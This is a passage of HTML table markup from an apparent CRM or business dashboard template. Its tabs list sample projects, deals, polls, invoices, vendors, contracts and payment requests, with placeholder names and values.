<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">3 out of 21</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-85 font-weight-bold ">85%
</div>
</div>
</td>
<td class="text-center">On going</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">10 July 2019</td>
<td class="text-center">formality</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center"><NAME></td>
<td class="text-center">9 out of 13</td>
<td class="text-center">valiasr</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-30 font-weight-bold ">30%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">27 October 2019</td>
<td class="text-center">formality</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center">Taha Shafa</td>
<td class="text-center">5 out of 15</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-65 font-weight-bold ">65%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane" id="tab5">
<div class="table-responsive ">
<table id="example-5" class="table table-striped table-bordered">
<thead class="bg-primary">
<tr>
<th class="border-bottom-0 text-center">Create Date</th>
<th class="border-bottom-0 text-center">Title</th>
<th class="border-bottom-0 text-center">Customer</th>
<th class="border-bottom-0 text-center">Tag</th>
<th class="border-bottom-0 text-center">Value</th>
<th class="border-bottom-0 text-center">Source</th>
<th class="border-bottom-0 text-center">Responsibile</th>
<th class="border-bottom-0 text-center">Probability</th>
<th class="border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center"></th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-10">10%</div>
</div>
</td>
<td class="text-center">Contracted</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-35">35%</div>
</div>
</td>
<td class="text-center">New</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-100">100%</div>
</div>
</td>
<td class="text-center">Success</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-50">50%</div>
</div>
</td>
<td class="text-center">New</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-30">30%</div>
</div>
</td>
<td class="text-center">Meeting scheduled</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-0">0%</div>
</div>
</td>
<td class="text-center">Failed</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Marriage ceremony</td>
<td class="text-center"><NAME></td>
<td class="text-center">Marriage ceremony</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-85">85%</div>
</div>
</td>
<td class="text-center">New</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane" id="tab6">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Topic</th>
<th class="wd-15p border-bottom-0 text-center">Creator</th>
<th class="wd-10p border-bottom-0 text-center">Organization Affairs</th>
<th class="wd-10p border-bottom-0 text-center">Due Date</th>
<th class="wd-15p border-bottom-0 text-center">Num Of Participants</th>
<th class="wd-15p border-bottom-0 text-center">Progress</th>
<th class="wd-15p border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Topic 1</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 1</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">12</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar w-0 font-weight-bold ">0%
</div>
</div>
</td>
<td class="text-center">Plan</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 2</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 2</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">5</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar w-0 font-weight-bold ">0%
</div>
</div>
</td>
<td class="text-center">Scheduled</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 3</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 3</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">9</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">Doing</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 4</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 4</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">11</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-100 font-weight-bold ">100%
</div>
</div>
</td>
<td class="text-center">Finished</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 5</td>
<td class="text-center">Fatemeh Esfandiar</td>
<td class="text-center">Project 5</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">22</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-60 font-weight-bold ">60%
</div>
</div>
</td>
<td class="text-center">Doing</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 6</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 6</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">8</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-100 font-weight-bold ">100%
</div>
</div>
</td>
<td class="text-center">Finished</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 7</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 7</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">8</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-30 font-weight-bold ">30%
</div>
</div>
</td>
<td class="text-center">Doing</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane" id="tab7">
<div class="table-responsive ">
<table id="example-7" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Title</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-20p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">Price</th>
<th class="wd-10p border-bottom-0 text-center">Creator</th>
<th class="wd-15p border-bottom-0 text-center">Owner</th>
<th class="wd-25p border-bottom-0 text-center">Related To</th>
<th class="wd-25p border-bottom-0 text-center">Payment Request Num</th>
<th class="wd-25p border-bottom-0 text-center">Branch</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody class="text-center">
<tr>
<td>Number One</td>
<td class="text-center">Purchase</td>
<td class="text-center">06 April 2020</td>
<td class="text-center">$ 1,200</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Equipment</td>
<td class="text-center">151315</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Two</td>
<td class="text-center">Sale</td>
<td class="text-center">15 March 2019</td>
<td class="text-center">$ 5,000</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Salaries</td>
<td class="text-center">31843416</td>
<td class="text-center">Valiasr</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Three</td>
<td class="text-center">Purchase</td>
<td class="text-center">29 December 2021</td>
<td class="text-center">$ 4,100</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Catering</td>
<td class="text-center">13815525</td>
<td class="text-center">Velenjak</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Four</td>
<td class="text-center">Purchase</td>
<td class="text-center">11 October 2018</td>
<td class="text-center">$ 2,000</td>
<td class="text-center">Ali Azimi</td>
<td class="text-center">Nasrin Mobasher</td>
<td class="text-center">Equipment</td>
<td class="text-center">1351555</td>
<td class="text-center">Valiasr</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Five</td>
<td class="text-center">Sale</td>
<td class="text-center">06 March 2020</td>
<td class="text-center">$ 5,500</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Transportation</td>
<td class="text-center">11224456</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane" id="tab8">
<div class="table-responsive ">
<table id="example-8" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-15p border-bottom-0 text-center">Owner</th>
<th class="wd-20p border-bottom-0 text-center">Rate</th>
<th class="wd-25p border-bottom-0 text-center">Number Of Projects</th>
<th class="wd-25p border-bottom-0 text-center">Place</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody class="text-center">
<tr>
<td>Title 1</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</td>
<td class="text-center">53</td>
<td class="text-center">Taleghani Street</td>
<td class="text-center"><span class="status-icon bg-warning"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/vendor-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Title 2</td>
<td class="text-center">Something</td>
<td class="text-center">Naghmeh Mojahed</td>
<td class="text-center">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</td>
<td class="text-center">13</td>
<td class="text-center">Kargar Street</td>
<td class="text-center"><span class="status-icon bg-warning"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/vendor-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Title 3</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
</td>
<td class="text-center">87</td>
<td class="text-center">Enghelab Steet</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/vendor-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Title 4</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</td>
<td class="text-center">42</td>
<td class="text-center">Beheshti Street</td>
<td class="text-center"><span class="status-icon bg-danger"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/vendor-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Title 5</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</td>
<td class="text-center">09</td>
<td class="text-center">Shariati Street</td>
<td class="text-center"><span class="status-icon bg-warning"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/vendor-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane" id="tab9">
<div class="table-responsive ">
<table id="example-9" class="table table-striped table-bordered">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Title</th>
<th class="wd-15p border-bottom-0 text-center">Service</th>
<th class="wd-15p border-bottom-0 text-center">Owner</th>
<th class="wd-20p border-bottom-0 text-center">Responsible Person
</th>
<th class="wd-25p border-bottom-0 text-center">Create Datetime</th>
<th class="wd-25p border-bottom-0 text-center">Hold Date</th>
<th class="wd-25p border-bottom-0 text-center">Branch</th>
<th class="wd-25p border-bottom-0 text-center">Project Code Number
</th>
<th></th>
</tr>
</thead>
<tbody class="text-center">
<tr>
<td>Something</td>
<td class="text-center">Service 1</td>
<td class="text-center"><NAME></td>
<td class="text-center"> AhmadAzimi</td>
<td class="text-center">2/2/91</td>
<td class="text-center">2/3/93</td>
<td class="text-center">Teh, Enqelab Square</td>
<td class="text-center">65165</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-print"></i></a>
</td>
</tr>
<tr>
<td>Something</td>
<td class="text-center">Service 2</td>
<td class="text-center"><NAME></td>
<td class="text-center">Ahmad Azimi</td>
<td class="text-center">2/6/91</td>
<td class="text-center">2/5/97</td>
<td class="text-center">Teh, Shariati</td>
<td class="text-center">98798</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-print"></i></a>
</td>
</tr>
<tr>
<td>Something</td>
<td class="text-center">Service 3</td>
<td class="text-center">Saba Noori</td>
<td class="text-center">Mahsa Karimi</td>
<td class="text-center">2/2/97</td>
<td class="text-center">21/3/98</td>
<td class="text-center">Turkey , Istanbul</td>
<td class="text-center">32132</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-print"></i></a>
</td>
</tr>
<tr>
<td>Something</td>
<td class="text-center">Service 4</td>
<td class="text-center">Reza Shiri</td>
<td class="text-center">Fatemeh Esfandiar</td>
<td class="text-center">4/8/97</td>
<td class="text-center">5/5/98</td>
<td class="text-center">Teh, Enqelab Square</td>
<td class="text-center">11591</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-print"></i></a>
</td>
</tr>
<tr>
<td>Something</td>
<td class="text-center">Service 5</td>
<td class="text-center"><NAME></td>
<td class="text-center">Meelad Masori</td>
<td class="text-center">5/8/96</td>
<td class="text-center">6/5/97</td>
<td class="text-center">Qom</td>
<td class="text-center">25682</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-print"></i></a>
</td>
</tr>
<tr>
<td>Something</td>
<td class="text-center">Service 6</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">6/9/96</td>
<td class="text-center">6/9/97</td>
<td class="text-center">Teh, Enqelab Square</td>
<td class="text-center">85213</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-print"></i></a>
</td>
</tr>
<tr>
<td>Something</td>
<td class="text-center">Service 7</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">6/5/93</td>
<td class="text-center">5/6/94</td>
<td class="text-center">Teh, Shariati</td>
<td class="text-center">96651</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i></a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-print"></i></a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane" id="tab10">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Serial</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-15p border-bottom-0 text-center">Requester</th>
<th class="wd-10p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">Total Price</th>
<th class="wd-25p border-bottom-0 text-center">For</th>
<th class="wd-25p border-bottom-0 text-center">From</th>
<th class="wd-25p border-bottom-0 text-center">To</th>
<th class="wd-25p border-bottom-0 text-center">Relation</th>
<th class="wd-25p border-bottom-0 text-center">Invoice</th>
<th class="border-bottom-0 text-center">Status</th>
<th></th>
</tr>
</thead>
<tbody>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Project Commission</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Salary</td>
<td><NAME>anati</td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
